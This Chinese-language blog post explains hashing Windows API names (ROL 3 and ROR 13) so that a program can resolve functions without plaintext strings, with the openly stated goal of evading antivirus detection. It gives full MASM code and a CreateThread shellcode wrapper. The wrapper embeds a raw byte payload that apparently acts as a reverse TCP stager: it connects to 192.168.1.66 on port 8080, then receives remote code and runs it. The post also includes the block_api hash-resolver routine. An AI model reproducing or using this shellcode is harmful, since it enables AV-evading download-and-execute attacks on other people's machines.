我们一般要获得一个函数的地址,通常采用的是明文,例如定义一个api函数字符串"MessageBoxA",然后在GetProcAddress函数中一个字节一个字节进行比较。这样弊端很多,例如如果我们定义一个杀毒软件比较敏感的api函数字符串,那么可能就会增加杀毒软件对我们的程序的判定值,而且定义这些字符串还有一个弊端是占用的字节数较大。我们想想如何我们的api函数字符串通过算法将它定义成一个4字节的值,然后在GetProcAddress中把AddressOfNames表中的每个地址指向的api字符串通过我们的算法压缩成4字节值后,与我们之前定义的4字节值进行判断,如果匹配成功则读取函数地址。
我们来看一种rol 3移位算法,这个算法是每次将目的地址循环向左移动3位,然后将低字节与源字符串的每个字节进行异或。算法很精巧方便。还有很多方便小巧的算法,例如ROR 13等算法,其实它和我们上面的基本一样,只不过它将函数名表的字符串通过我们的算法过程获得hash值后与我们之前定义的hash值进行匹配,匹配成功则获得对应函数的地址。
下面的代码通过hash搜索WinExec函数来运行Clac:
.386 .model flat, stdcall option casemap:none include windows.inc include user32.inc include kernel32.inc includelib user32.lib includelib kernel32.lib .const szCalc db 'calc.exe', 0 .code _GetKrnl32 proc ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 获取kernel32.dll的地址,因为xp和win7不一样 ; 故采用比较名称的方式获取地址,具体见Kernel32基地址获得学习 ; http://blog.csdn.net/programmingring/article/details/11357393 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> assume fs:nothing mov eax, fs:[30h] mov eax, [eax + 0ch] mov eax, [eax + 1ch] ; 第一个LDR_MODULE ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 压入kernel32.dll的unicode字符串 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> push dword ptr 006ch push dword ptr 6c0064h push dword ptr 2e0032h push dword ptr 33006ch push dword ptr 65006eh push dword ptr 720065h push word ptr 006bh mov ebx, esp ; ebx指向字符串 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 开始比较 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _Search: cmp eax, 0 jz _NotFound cmp eax, 0ffffffffh jz _NotFound lea esi, [eax + 1ch] ; esi指向UNICODE_STRING结构 xor ecx, ecx mov cx, 13 ; 比较的长度 mov esi, [esi + 4] ; 获得UNICODE_STRING结构的Buffer成员 mov edi, ebx ; edi指向kernel32unicode字符串 repz cmpsw or ecx, ecx ; ecx减完说明相等 jz _Found mov eax, [eax] ; 获取下一个LDR_MODULE jmp _Search _NotFound: mov eax, 0ffffffffh jmp _Over _Found: mov eax, [eax + 08h] ; 获得地址 _Over: add esp, 26 ret _GetKrnl32 endp _GetRolHash proc _lpApiString mov eax, _lpApiString push esi xor edx, edx xchg eax, esi ; esi = _lpApiString cld ; 递增 _Next: lodsb ; 从esi指向的地址中取一个字符 test al, al ; 比较是否为0 jz _Ret rol edx, 3 ; 左循环移位3位 xor dl, al ; 低字节和字符异或 jmp _Next _Ret: xchg eax, edx ; eax = 处理后的_lpApiString的hash pop esi ret _GetRolHash endp _GetApi proc _hDllHandle, _iHashApi push ebp mov eax, _hDllHandle mov ecx, _iHashApi mov ebx, eax mov edi, ecx mov eax, [ebx + 3ch] mov esi, [ebx + eax + 78h] ; Get Export RVA lea esi, [esi + ebx + IMAGE_EXPORT_DIRECTORY.NumberOfNames] lodsd xchg eax, edx ; edx = NumberOfNames lodsd push eax ; [esp] = AddressOfFunctions lodsd xchg eax, ebp ; ebp = AddressOfNames lodsd xchg eax, ebp ; ebp = AddressOfNameOrdinals, eax = AddressOfNames add eax, ebx xchg eax, esi ; esi = AddressOfNames _LoopScas: dec edx js _Ret lodsd ; eax = api名称的rva add eax, ebx ; eax = api名称的实际地址 push edx invoke _GetRolHash, eax ; 计算hash字符串 pop edx cmp eax, edi ; 比较和传入的hash参数是否相等 jz _GetAddr add ebp, 2 ; 递增,和esi相对应 jmp _LoopScas _GetAddr: movzx eax, word ptr [ebp + ebx] ; 取得序号值 shl eax, 2 ; 乘4 add eax, [esp] ; 在AddressOfFunctions取得相应序号值位置的值 mov eax, [ebx + eax] ; 取得函数地址 add eax, ebx _Ret: pop ecx pop ebp ret _GetApi endp _WinMain proc invoke _GetKrnl32 invoke _GetApi, eax, 016ef74bh ; "WinExec"的hash push SW_SHOW lea ebx, szCalc push ebx call eax ret _WinMain endp start: call _WinMain invoke ExitProcess, 0 end start
另外一段代码:新建一个线程的shellcode,payload: 后面的内容为要新建线程要执行的内容。
[BITS 32] [ORG 0] cld call start delta: %include "block_api.asm" start: pop ebp ; pop off the address of 'api_call' for calling later. xor eax, eax push eax push eax push eax lea ebx, [ebp+threadstart-delta] push ebx push eax push eax push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) call ebp ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL ); jmp end threadstart: pop eax ; pop off the unused thread param so the prepended shellcode can just return when done. payload: db 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x42,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5 end
上面代码里block_api.asm
api_call: pushad ; We preserve all the registers for the caller, bar EAX and ECX. mov ebp, esp ; Create a new stack frame xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) mov edx, [fs:eax+48] ; Get a pointer to the PEB mov edx, [edx+12] ; Get PEB->Ldr mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; mov esi, [edx+40] ; Get pointer to modules name (unicode string) movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; lodsb ; Read in the next byte of the name cmp al, 'a' ; Some versions of Windows use lower case module names jl not_lowercase ; sub al, 0x20 ; If so normalise to uppercase not_lowercase: ; ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name loop loop_modname ; Loop until we have read enough ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later ; Proceed to iterate the export address table, mov edx, [edx+16] ; Get this modules base address mov ecx, [edx+60] ; Get PE header ; use ecx as our EAT pointer here so we can take advantage of jecxz. mov ecx, [ecx+edx+120] ; Get the EAT from the PE header jecxz get_next_mod1 ; If no EAT present, process the next module add ecx, edx ; Add the modules base address push ecx ; Save the current modules EAT mov ebx, [ecx+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address mov ecx, [ecx+24] ; Get the number of function names ; now ecx returns to its regularly scheduled counter duties ; Computing the module hash + function hash get_next_func: ; jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module dec ecx ; Decrement the function name counter mov esi, [ebx+ecx*4] ; Get rva of next module name add esi, edx ; Add the modules base address xor edi, edi ; Clear EDI which will store the hash of the function name ; And compare it to the one we want loop_funcname: ; lodsb ; Read in the next byte of the ASCII function name ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add edi, [ebp-8] ; Add the current module hash to the function hash cmp edi, [ebp+36] ; Compare the hash to the one we are searching for jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT mov ebx, [eax+36] ; Get the ordinal table rva add ebx, edx ; Add the modules base address mov cx, [ebx+2*ecx] ; Get the desired functions ordinal mov ebx, [eax+28] ; Get the function addresses table rva add ebx, edx ; Add the modules base address mov eax, [ebx+4*ecx] ; Get the desired functions RVA add eax, edx ; Add the modules base address to get the functions actual VA ; We now fix up the stack and perform the call to the desired function... finish: mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad pop ebx ; Clear off the current modules hash pop ebx ; Clear off the current position in the module list popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered pop ecx ; Pop off the origional return address our caller will have pushed pop edx ; Pop off the hash value our caller will have pushed push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... get_next_mod: ; pop edi ; Pop off the current (now the previous) modules EAT get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module jmp short next_mod ; Process this module